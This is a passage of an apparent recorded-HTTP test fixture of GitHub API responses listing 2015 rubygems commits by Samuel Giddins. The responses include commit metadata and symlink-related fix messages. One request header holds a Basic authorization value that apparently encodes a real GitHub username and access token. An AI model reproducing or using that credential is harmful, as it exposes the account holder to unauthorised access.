8f1de9e55442784a8f1d"}]},{"sha":"a19e5e4c1e38491ee89815ec239c9b69671e4a90","node_id":"MDY6Q29tbWl0NjE0MDcwOmExOWU1ZTRjMWUzODQ5MWVlODk4MTVlYzIzOWM5YjY5NjcxZTRhOTA=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-05-01T06:29:36Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-05-01T06:32:07Z"},"message":"[Specification] in stubs_by_name, return an empty array if the stubs ivar is set","tree":{"sha":"b7b54b6e0f19f2a59a6dd96faf6ca3659ce38711","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b7b54b6e0f19f2a59a6dd96faf6ca3659ce38711"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a19e5e4c1e38491ee89815ec239c9b69671e4a90","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a19e5e4c1e38491ee89815ec239c9b69671e4a90","html_url":"https://github.com/rubygems/rubygems/commit/a19e5e4c1e38491ee89815ec239c9b69671e4a90","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a19e5e4c1e38491ee89815ec239c9b69671e4a90/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"8e52911995353c23621cf5c04cf6333c2f18f222","url":"https://api.github.com/repos/rubygems/rubygems/commits/8e52911995353c23621cf5c04cf6333c2f18f222","html_url":"https://github.com/rubygems/rubygems/commit/8e52911995353c23621cf5c04cf6333c2f18f222"}]},{"sha":"8e52911995353c23621cf5c04cf6333c2f18f222","node_id":"MDY6Q29tbWl0NjE0MDcwOjhlNTI5MTE5OTUzNTNjMjM2MjFjZjVjMDRjZjYzMzNjMmYxOGYyMjI=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-05-01T06:24:39Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-05-01T06:24:39Z"},"message":"[Specification] set stubs_by_name default to EMPTY whenever stubs is set","tree":{"sha":"8fa34cd595bc641e408fc8c089c1b0d5fdb0efa3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8fa34cd595bc641e408fc8c089c1b0d5fdb0efa3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8e52911995353c23621cf5c04cf6333c2f18f222","comment_count":3,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8e52911995353c23621cf5c04cf6333c2f18f222","html_url":"https://github.com/rubygems/rubygems/commit/8e52911995353c23621cf5c04cf6333c2f18f222","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8e52911995353c23621cf5c04cf6333c2f18f222/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"044b0e2685e4b219b013f1067d670918a48c1f62","url":"https://api.github.com/repos/rubygems/rubygems/commits/044b0e2685e4b219b013f1067d670918a48c1f62","html_url":"https://github.com/rubygems/rubygems/commit/044b0e2685e4b219b013f1067d670918a48c1f62"}]},{"sha":"044b0e2685e4b219b013f1067d670918a48c1f62","node_id":"MDY6Q29tbWl0NjE0MDcwOjA0NGIwZTI2ODVlNGIyMTliMDEzZjEwNjdkNjcwOTE4YTQ4YzFmNjI=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-05-01T05:20:12Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-05-01T05:20:12Z"},"message":"[Specification] Also reset specs_by_name when setting all","tree":{"sha":"f4a59d72b26fd010e12ee0e1a2d32535c208b0a7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f4a59d72b26fd010e12ee0e1a2d32535c208b0a7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/044b0e2685e4b219b013f1067d670918a48c1f62","comment_count":4,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/044b0e2685e4b219b013f1067d670918a48c1f62","html_url":"https://github.com/rubygems/rubygems/commit/044b0e2685e4b219b013f1067d670918a48c1f62","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/044b0e2685e4b219b013f1067d670918a48c1f62/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c47d75c40f6a6bc1a61ff5cb24a532655ea38ff0","url":"https://api.github.com/repos/rubygems/rubygems/commits/c47d75c40f6a6bc1a61ff5cb24a532655ea38ff0","html_url":"https://github.com/rubygems/rubygems/commit/c47d75c40f6a6bc1a61ff5cb24a532655ea38ff0"}]},{"sha":"5df5c56ba72b61d87c4a6ed4f9b1d5d6ec0684a4","node_id":"MDY6Q29tbWl0NjE0MDcwOjVkZjVjNTZiYTcyYjYxZDg3YzRhNmVkNGY5YjFkNWQ2ZWMwNjg0YTQ=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-31T06:16:52Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-31T06:16:52Z"},"message":"[Package] Add further symlink test coverage","tree":{"sha":"8c001a2d3f4ddfbaca8d1c329dcc8cd31d0e27f2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8c001a2d3f4ddfbaca8d1c329dcc8cd31d0e27f2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5df5c56ba72b61d87c4a6ed4f9b1d5d6ec0684a4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5df5c56ba72b61d87c4a6ed4f9b1d5d6ec0684a4","html_url":"https://github.com/rubygems/rubygems/commit/5df5c56ba72b61d87c4a6ed4f9b1d5d6ec0684a4","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5df5c56ba72b61d87c4a6ed4f9b1d5d6ec0684a4/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"3a02b6379e62eb7a5eb359cc87473a65a355cfe6","url":"https://api.github.com/repos/rubygems/rubygems/commits/3a02b6379e62eb7a5eb359cc87473a65a355cfe6","html_url":"https://github.com/rubygems/rubygems/commit/3a02b6379e62eb7a5eb359cc87473a65a355cfe6"}]}]' http_version: recorded_at: Fri, 15 Mar 2019 21:54:08 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?author=segiddins@segiddins.me&page=7&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 15 Mar 2019 21:54:08 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4303' X-Ratelimit-Reset: - '1552689075' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c528393402b7c6cc066942c96ce4a7dd" Last-Modified: - Tue, 31 Mar 2015 06:16:36 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - B542:0673:73EB4A:12384B1:5C8C1F00 body: encoding: ASCII-8BIT string: '[{"sha":"3a02b6379e62eb7a5eb359cc87473a65a355cfe6","node_id":"MDY6Q29tbWl0NjE0MDcwOjNhMDJiNjM3OWU2MmViN2E1ZWIzNTljYzg3NDczYTY1YTM1NWNmZTY=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-31T06:16:36Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-31T06:16:36Z"},"message":"[Package] Don''t allow symlinking to outside of the gem","tree":{"sha":"867f8ac1de63df206858d31505ca215cc8b8081d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/867f8ac1de63df206858d31505ca215cc8b8081d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3a02b6379e62eb7a5eb359cc87473a65a355cfe6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3a02b6379e62eb7a5eb359cc87473a65a355cfe6","html_url":"https://github.com/rubygems/rubygems/commit/3a02b6379e62eb7a5eb359cc87473a65a355cfe6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3a02b6379e62eb7a5eb359cc87473a65a355cfe6/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"a44b6f06f26f8aea0efaa14737dcd7b9eb533a14","url":"https://api.github.com/repos/rubygems/rubygems/commits/a44b6f06f26f8aea0efaa14737dcd7b9eb533a14","html_url":"https://github.com/rubygems/rubygems/commit/a44b6f06f26f8aea0efaa14737dcd7b9eb533a14"}]},{"sha":"a44b6f06f26f8aea0efaa14737dcd7b9eb533a14","node_id":"MDY6Q29tbWl0NjE0MDcwOmE0NGI2ZjA2ZjI2ZjhhZWEwZWZhYTE0NzM3ZGNkN2I5ZWI1MzNhMTQ=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-31T06:15:54Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-31T06:15:54Z"},"message":"[TestGemSpecification] Symlinks now only give warnings","tree":{"sha":"4e2cc0eaab9dd4977f43bfd44147033b90b79429","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4e2cc0eaab9dd4977f43bfd44147033b90b79429"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a44b6f06f26f8aea0efaa14737dcd7b9eb533a14","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a44b6f06f26f8aea0efaa14737dcd7b9eb533a14","html_url":"https://github.com/rubygems/rubygems/commit/a44b6f06f26f8aea0efaa14737dcd7b9eb533a14","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a44b6f06f26f8aea0efaa14737dcd7b9eb533a14/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fdc2a757bb986049de61032516deef1a200ea094","url":"https://api.github.com/repos/rubygems/rubygems/commits/fdc2a757bb986049de61032516deef1a200ea094","html_url":"https://github.com/rubygems/rubygems/commit/fdc2a757bb986049de61032516deef1a200ea094"}]},{"sha":"fdc2a757bb986049de61032516deef1a200ea094","node_id":"MDY6Q29tbWl0NjE0MDcwOmZkYzJhNzU3YmI5ODYwNDlkZTYxMDMyNTE2ZGVlZjFhMjAwZWEwOTQ=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-26T02:10:54Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-26T02:10:54Z"},"message":"Add support for packaging specs that contain symlinks","tree":{"sha":"ff458128eb29255972b2c1f58221831314f7987e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ff458128eb29255972b2c1f58221831314f7987e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fdc2a757bb986049de61032516deef1a200ea094","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fdc2a757bb986049de61032516deef1a200ea094","html_url":"https://github.com/rubygems/rubygems/commit/fdc2a757bb986049de61032516deef1a200ea094","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fdc2a757bb986049de61032516deef1a200ea094/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"4f977b3f684af97a6daa5808f9c6a7c22d318fac","url":"https://api.github.com/repos/rubygems/rubygems/commits/4f977b3f684af97a6daa5808f9c6a7c22d318fac","html_url":"https://github.com/rubygems/rubygems/commit/4f977b3f684af97a6daa5808f9c6a7c22d318fac"}]},{"sha":"49582fc8b199e30a3449c5623c262f1093ea1c28","node_id":"MDY6Q29tbWl0NjE0MDcwOjQ5NTgyZmM4YjE5OWUzMGEzNDQ5YzU2MjNjMjYyZjEwOTNlYTFjMjg=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-11T22:01:09Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-11T22:05:28Z"},"message":"[Travis] Test against latest rubies","tree":{"sha":"d287a8d21d314b38dad97981f6cc86b4add77e7a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d287a8d21d314b38dad97981f6cc86b4add77e7a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/49582fc8b199e30a3449c5623c262f1093ea1c28","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/49582fc8b199e30a3449c5623c262f1093ea1c28","html_url":"https://github.com/rubygems/rubygems/commit/49582fc8b199e30a3449c5623c262f1093ea1c28","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/49582fc8b199e30a3449c5623c262f1093ea1c28/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"824a1791733715e2205b50fe34e1699c18317b58","url":"https://api.github.com/repos/rubygems/rubygems/commits/824a1791733715e2205b50fe34e1699c18317b58","html_url":"https://github.com/rubygems/rubygems/commit/824a1791733715e2205b50fe34e1699c18317b58"}]},{"sha":"2ad9ba0ca172231217d230f40693f35f48ec1f6b","node_id":"MDY6Q29tbWl0NjE0MDcwOjJhZDliYTBjYTE3MjIzMTIxN2QyMzBmNDA2OTNmMzVmNDhlYzFmNmI=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-11T21:08:14Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-11T21:41:36Z"},"message":"[BinScript] Allow running pre-release versions","tree":{"sha":"5388f2a5646ebc82e18bfbe5340e2b4ccad5b16d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5388f2a5646ebc82e18bfbe5340e2b4ccad5b16d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2ad9ba0ca172231217d230f40693f35f48ec1f6b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2ad9ba0ca172231217d230f40693f35f48ec1f6b","html_url":"https://github.com/rubygems/rubygems/commit/2ad9ba0ca172231217d230f40693f35f48ec1f6b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2ad9ba0ca172231217d230f40693f35f48ec1f6b/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"824a1791733715e2205b50fe34e1699c18317b58","url":"https://api.github.com/repos/rubygems/rubygems/commits/824a1791733715e2205b50fe34e1699c18317b58","html_url":"https://github.com/rubygems/rubygems/commit/824a1791733715e2205b50fe34e1699c18317b58"}]}]' http_version: recorded_at: Fri, 15 Mar 2019 21:54:08 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits?author=colby@taplaboratories.com&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic 